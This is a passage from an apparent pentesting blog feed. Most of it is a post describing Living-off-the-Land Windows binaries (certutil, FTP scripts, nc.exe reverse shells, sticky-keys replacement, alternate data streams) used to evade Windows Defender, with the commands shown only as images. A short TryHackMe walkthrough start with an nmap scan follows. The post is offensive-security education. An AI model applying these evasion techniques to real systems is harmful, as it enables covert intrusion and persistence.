&lt;br /&gt;
&lt;br /&gt;
Utilizing LOLBAS to compromise a system is a very convenient method to attackers, because they don’t cause a lot of noise or suspicions. In fact, these binaries are signed by Microsoft, and they’re already available by default, so an attacker doesn’t have to download or install a third-party executable that could be flagged and blocked, or that could generate a revealing audit trail.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;iframe allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/v1GhHL-UEJE&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;div&gt;
Let’s now have a look at some hands-on examples of LOLBAS exploitation and let’s see how Windows Defender responds to this type of attacks.&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;b&gt;a)&lt;/b&gt;&lt;i&gt;&lt;b&gt; &lt;/b&gt;&lt;/i&gt;&lt;b&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;FTP&lt;/span&gt;&lt;/b&gt;&lt;b&gt;:&lt;/b&gt;&lt;br /&gt;
FTP can be used both interactively in a terminal and non-interactively, by loading commands off a text file. &lt;br /&gt;
&lt;div&gt;
The latter method can allow an attacker to silently download a malicious file to the target machine.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinsmgfF1usXrAoZFalXOK3TDQfCGkjI9Fiu22pHEQtOqknZV8uCHX9hhK_dszA641kR4ESMnSFoOgpmx1gdBZekv3oPuZVTZPhtd4ZLwG9shnY7AZvIGFUhH0R0eNGiCAJK99xxphXWdKe/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;293&quot; data-original-width=&quot;300&quot; height=&quot;625&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinsmgfF1usXrAoZFalXOK3TDQfCGkjI9Fiu22pHEQtOqknZV8uCHX9hhK_dszA641kR4ESMnSFoOgpmx1gdBZekv3oPuZVTZPhtd4ZLwG9shnY7AZvIGFUhH0R0eNGiCAJK99xxphXWdKe/w640-h625/D5F3A20D-CD24-4B32-83CE-493A22BEDD8B.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLqtI8PFUG8SApuvtpaksyAIpkh91anuYbo5HbMvy2vftk-_vmEBQ2xu76NK-cJPXyAeHHd65xlOB6SGkqgmDTQ3NdKEXC-bNi7s-pq1IN1rPtUFHttK7hSU6psFePtaGqeSFRfbuzx2X0/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;257&quot; data-original-width=&quot;600&quot; height=&quot;274&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLqtI8PFUG8SApuvtpaksyAIpkh91anuYbo5HbMvy2vftk-_vmEBQ2xu76NK-cJPXyAeHHd65xlOB6SGkqgmDTQ3NdKEXC-bNi7s-pq1IN1rPtUFHttK7hSU6psFePtaGqeSFRfbuzx2X0/w640-h274/B217B8E8-D6F2-4BD2-978E-9E59EA4B47F5.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
After starting an FTP server on Kali, by using &lt;span style=&quot;font-family: courier;&quot;&gt;pyftpdlib&lt;/span&gt;, I could run the above commands from a text file, without being detected by Defender or other security software. &lt;br /&gt;
Sadly, Windows Defender detected the payload I used, as it was generated with &lt;i&gt;msfvenom&lt;/i&gt;, but a custom malware would have surely had a much better luck.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
This brings me to another consideration: I think Microsoft deserves a lot of credit for the way Windows Defender got improved. &lt;/div&gt;
Defender detected almost every payload I generated, no matter whether obfuscated or encoded.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;b) &lt;span style=&quot;font-family: courier;&quot;&gt;Certutil&lt;/span&gt;:&lt;/b&gt;&lt;br /&gt;
Certutil is a standard Windows utility having dual purposes. Its primary function is to dump, display, and configure certification authority (CA) information.&lt;br /&gt;
However, it can also be used to upload a file to a Windows computer, without checking the format of the file. &lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin-left: 40px; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcDZfnONlWBsd5JDaA0qOrIFu4Q9OzvcFN8HHHo0yPPnnybQ27KdQ0Hp5nt4Y4kU8_Of18XwOhKFuTqQLGi8PyVrqbB6oPHmOy6mx_iCZxGV19J0HuxbYdEEkKVJxo5x6KmiDh-1N4lXct/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;77&quot; data-original-width=&quot;400&quot; height=&quot;124&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcDZfnONlWBsd5JDaA0qOrIFu4Q9OzvcFN8HHHo0yPPnnybQ27KdQ0Hp5nt4Y4kU8_Of18XwOhKFuTqQLGi8PyVrqbB6oPHmOy6mx_iCZxGV19J0HuxbYdEEkKVJxo5x6KmiDh-1N4lXct/w640-h124/9A2C76F9-B8CC-4EDF-8D11-6085072C3EF8.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
The upload command was successful but, once again, Defender detected and removed the payload I generated as malicious.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;c) &lt;/i&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;nc.exe&lt;/span&gt;&lt;i&gt; (netcat for Windows):&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
I was able to download &lt;span style=&quot;font-family: courier;&quot;&gt;&lt;b&gt;nc.exe&lt;/b&gt;&lt;/span&gt; and obtain a reverse shell, without any response from Defender. &lt;br /&gt;
The executable isn’t always available by default in Windows, and some of its versions don’t support its &lt;span style=&quot;font-family: courier;&quot;&gt;-e&lt;/span&gt;&lt;i&gt;&amp;nbsp; &lt;/i&gt;switch. &lt;br /&gt;
However, it’s a pretty easy way to obtain a reverse shell on a remote system, if it&#39;s available on the local machine.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: 0px; margin-right: auto; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3iASiFRrYZhr5TCJbWq173RYj6sto6lu07-VsZ4l6lu7juF1VhWd82r7qNBv6gyeszWMLvXWy4oOdqSPrsNftzocwBovLYeee30OLKyVyJb-AA_5gWB2qK5huBW8v88eFxpsuSPaXIiWG/&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;760&quot; data-original-width=&quot;1374&quot; height=&quot;354&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3iASiFRrYZhr5TCJbWq173RYj6sto6lu07-VsZ4l6lu7juF1VhWd82r7qNBv6gyeszWMLvXWy4oOdqSPrsNftzocwBovLYeee30OLKyVyJb-AA_5gWB2qK5huBW8v88eFxpsuSPaXIiWG/w640-h354/netcat.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;i&gt;Netcat connection opened on the Windows machine&lt;/i&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: 0px; margin-right: auto; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSaFZ_2PJLJaDdqcaNzP60DneR4ta27qkOW4VnAEPfFfBOilMFCcwit4sD-hKqHUf_MIA197chGMTX_PZGb8xj07AS2WnW1RiEOCaDCPRG3W1OojVQQnwpAxJ_q9Nvb6gEqybDtRkUNxVV/&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;354&quot; data-original-width=&quot;874&quot; height=&quot;260&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSaFZ_2PJLJaDdqcaNzP60DneR4ta27qkOW4VnAEPfFfBOilMFCcwit4sD-hKqHUf_MIA197chGMTX_PZGb8xj07AS2WnW1RiEOCaDCPRG3W1OojVQQnwpAxJ_q9Nvb6gEqybDtRkUNxVV/w640-h260/netcat1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;i&gt;Netcat listener receiving connection on Kali (port 5555)&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;d) &lt;/i&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;sethc.exe&lt;/span&gt;&lt;i&gt; (STICKY KEYS ATTACK):&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
Sticky Keys is an accessibility feature that can be activated by pressing the SHIFT key for 5 times.&lt;br /&gt;
If an attacker can access the local filesystem with the right set of privileges, they could replace the original executable with &lt;span style=&quot;font-family: courier;&quot;&gt;&lt;b&gt;cmd.exe&lt;/b&gt;&lt;/span&gt; and spawn a terminal, when the functionality is recalled. &lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
Attackers could easily add a user for themselves, achieving persistence on the target machine.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_KIr1zO3LFwOgeWbkp7FNcD-eZi498GiJWPiDjfkD-lkHtbR53sRvKCNyYzQojGu-mR5yY3RHRd-gyW-5Kf_b7Q5rzSkhn4mVIfzso8B71oHJtUgabWAr4R8oVGDaT4KnfQhi6yZDIWoB/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;333&quot; data-original-width=&quot;600&quot; height=&quot;356&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_KIr1zO3LFwOgeWbkp7FNcD-eZi498GiJWPiDjfkD-lkHtbR53sRvKCNyYzQojGu-mR5yY3RHRd-gyW-5Kf_b7Q5rzSkhn4mVIfzso8B71oHJtUgabWAr4R8oVGDaT4KnfQhi6yZDIWoB/w640-h356/5D9051EC-45CA-4B8C-A5D0-9A1E39239461.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
The following examples are taken from &lt;a href=&quot;https://www.blogger.com/#&quot;&gt;this blog post&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;e) &lt;/i&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;extrac32.exe&lt;/span&gt;:&lt;/b&gt;&lt;br /&gt;
It’s used to extract &lt;span style=&quot;font-family: courier;&quot;&gt;&lt;b&gt;cab&lt;/b&gt;&lt;/span&gt; files, but you also can use this command to add alternate data streams to a file.&lt;br /&gt;
In the below example, I added a hidden executable (Process Explorer) to a file called &lt;i&gt;file.txt &lt;/i&gt;and the file didn’t change its size. &lt;br /&gt;
&lt;div&gt;
I was then able to run the executable without triggering any response from Windows Defender.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjrjN7L8bhP9wU3UJM0hmfezz8q6xjL6whTIOSwf9XkmkgRYLXaCG5VtTYSzvxVtvf3Z3V7SkCS283UDFXVW2OJNSw4szu5UvHp1pksvNwwjRnctKBT45RRJskU36Vjvn0ygwcKaotp1zv/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;271&quot; data-original-width=&quot;400&quot; height=&quot;434&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjrjN7L8bhP9wU3UJM0hmfezz8q6xjL6whTIOSwf9XkmkgRYLXaCG5VtTYSzvxVtvf3Z3V7SkCS283UDFXVW2OJNSw4szu5UvHp1pksvNwwjRnctKBT45RRJskU36Vjvn0ygwcKaotp1zv/w640-h434/EF001907-D97E-4D4A-A3B3-70621822001E.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;f) &lt;/i&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;Findstr.exe&lt;/span&gt;:&lt;i&gt; &lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
It finds strings within text files. This useful functionality can be abused by searching for a string that does not exist in a file, and pipe that into a new file. &lt;br /&gt;
The hidden file can also be piped into an ADS stream of a file.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqOtpTKxg9PKjQGtmWa3BlNcna-TV9PZMlBdLavjGFqekact9BPYc1bf69jp8aDX3N6xzKn4fS7_O1O2376FspZBwFbV_oPgeTmexLTnt2vY1Utv2NdmtNqKFTEaZB1xAYHIVfE5HE4i8P/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;228&quot; data-original-width=&quot;600&quot; height=&quot;244&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqOtpTKxg9PKjQGtmWa3BlNcna-TV9PZMlBdLavjGFqekact9BPYc1bf69jp8aDX3N6xzKn4fS7_O1O2376FspZBwFbV_oPgeTmexLTnt2vY1Utv2NdmtNqKFTEaZB1xAYHIVfE5HE4i8P/w640-h244/3147B2C6-401A-4E31-B7D1-422FA8731B6F.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;g) &lt;/i&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;sc.exe&lt;/span&gt;:&lt;/b&gt;&lt;br /&gt;
A binary can be executed from an alternate data stream as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbWt-fC2YL_brGmcBljN9WcK7RgbKDjhFBmXV5CcU1TKJVQSSzFx17YhpczAE7HVHwYoekaZL9AaM5Od6ncn8f5C4wclZgWlOFaxZ3lh_0lkeFaIg9fV7SbiAkaoTSBX8dRZ9ePBwDyFOi/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;76&quot; data-original-width=&quot;600&quot; height=&quot;82&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbWt-fC2YL_brGmcBljN9WcK7RgbKDjhFBmXV5CcU1TKJVQSSzFx17YhpczAE7HVHwYoekaZL9AaM5Od6ncn8f5C4wclZgWlOFaxZ3lh_0lkeFaIg9fV7SbiAkaoTSBX8dRZ9ePBwDyFOi/w640-h82/F2115121-BC55-4E59-B26B-07AB1890C2D4.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIHXyDy5f_S-XFnsMbsIQ6dZsNu_xvmIm_JtZalp8ICmaF7XsvjyyqKarJmEsLCPOI_ENx7iCR5SxW5h8taPCqAkf5ZYwtzCbmYkDVY7QbSBZJOMRGGDsxOozNj9Y4zqHwqd2P_LK3GruQ/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;166&quot; data-original-width=&quot;600&quot; height=&quot;178&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIHXyDy5f_S-XFnsMbsIQ6dZsNu_xvmIm_JtZalp8ICmaF7XsvjyyqKarJmEsLCPOI_ENx7iCR5SxW5h8taPCqAkf5ZYwtzCbmYkDVY7QbSBZJOMRGGDsxOozNj9Y4zqHwqd2P_LK3GruQ/w640-h178/1A519933-5027-469B-B7F1-8A763D1A3846.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;Wrap-up&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Quoting &lt;a href=&quot;https://www.instagram.com/p/B_ySGAIgaFn/?utm_source=ig_web_copy_link&quot;&gt;Nolan B. Kennedy&lt;/a&gt;: &lt;i&gt;“In the modern age, antivirus and IDS/IPS software have made the ultimate comeback. The golden age of launching vanilla mimikatz and meterpreter payloads are LONG gone. And for my OSCP students: No, using 30 rounds of shikataganai encoding will NOT help you 😂⁣&lt;br /&gt;LOLBAS (Living Off the Land Binaries and Scripts)⁣ and its sister site GTFOBins (for linux) are incredibly useful resources for identifying and abusing tools installed on almost every machine for everything from jail shell escaping &amp;amp; privesc to covert file transfers &amp;amp; data exfil. ⁣Now depending on the logging capabilities of the target system, you might STILL get caught doing bad things. Especially if the target system is monitored by a crack IR or Hunt team. .⁣And ultimately, as pentesters/red teamers we’re adaptive and LOL is only one tactic in our arsenal. Let’s make those defenders work for their pay 😈”&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
I couldn’t agree more with this statement. The longer I’m in the game the harder it gets for me to get a shell on a target system.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
EDR and AV solutions have greatly stepped up their game and detect 90% of my payloads, because everyone used the same payloads for years and by now their signatures are well-known and are all over the place.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Even obfuscation doesn’t improve a lot the outcome from this type of attacks.&lt;br /&gt;
The response to these improved detection capabilities can be manually creating custom payloads and utilizing LOLBAS.&lt;br /&gt;
&lt;br /&gt;
LOLBAS-based attack vectors are way stealthier, as they don’t raise a lot of suspicion nor create a lot of noise.&lt;br /&gt;
&lt;div&gt;
Most of them have underlying functionalities that can be abused but they’re signed by Microsoft, so defenders often overlook them.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We all picture bad guys dropping some weird payloads on the system and expect for an alert to pop up about that, but what if the attacker used Windows functionalities themselves to attack a remote system?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
When red teamers use this attack vector, they’ll achieve a good success rate because often times no one thought of monitoring it.&lt;br /&gt;
I personally believe this is the future of penetration testing and we’ll see LOLBAS increasingly being used by bad guys to evade defenses.&lt;br /&gt;
&lt;br /&gt;
Are you ready for this?&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;References:&lt;/i&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.varonis.com/blog/the-malware-hiding-in-your-windows-system32-folder-more-alternate-data-streams-and-rundll32/&quot;&gt;https://www.varonis.com/blog/the-malware-hiding-in-your-windows-system32-folder-more-alternate-data-streams-and-rundll32/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/&quot;&gt;https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2020/05/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/v1GhHL-UEJE/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-3534644306307898093</guid><pubDate>Mon, 30 Mar 2020 23:03:00 +0000</pubDate><atom:updated>2023-07-09T11:24:23.473-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hacking</category><category domain="http://www.blogger.com/atom/ns#">pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 84-TryHackMe</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;a href=&quot;https://tryhackme.com/&quot; style=&quot;font-size: 11pt;&quot;&gt;TryHackMe&lt;/a&gt;&amp;nbsp;is an interesting website where you can legally and safely practice pentesting/hacking.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;You can choose between paid and free activities in the website.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;The site hosts a series of “rooms” where you can learn by following specific learning paths (e.g. Linux priv esc) or playing CTF.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;Compared with Hack The Box, it&#39;s more beginner-friendly and in each room, regardless if free or premium, you can normally find community-developed write-ups if you get stuck.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;I recently solved a room called&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://tryhackme.com/room/vulnversity&quot; style=&quot;font-family: Calibri; font-size: 11pt;&quot;&gt;Vulnversity&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;Here’s the walkthrough to it.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/MaYkBdLtGD8&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;For you to play, you need to download an &lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;.openvpn&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt; file and use it to connect to the lab network.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;For more detailed instructions, check the&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://tryhackme.com/access&quot; style=&quot;font-family: Calibri; font-size: 11pt;&quot;&gt;Access&amp;nbsp;&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;page.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;When this is done, you’ll be receiving an internal IP address and will be able to connect to the target machine.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;color: #ff0436; font-size: 11pt; text-decoration: underline;&quot;&gt;INITIAL RECON:&lt;/span&gt;&lt;span style=&quot;color: #ff0436; font-size: 11pt; text-decoration: underline;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt; text-decoration: underline;&quot;&gt;nmap -sS -sV -p- --open -T4 -vv&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt; text-decoration: underline;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt; text-decoration: underline;&quot;&gt;&amp;nbsp;&amp;lt;MACHINE IP&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;PORT&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;STATE SERVICE&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;REASON&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;VERSION&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
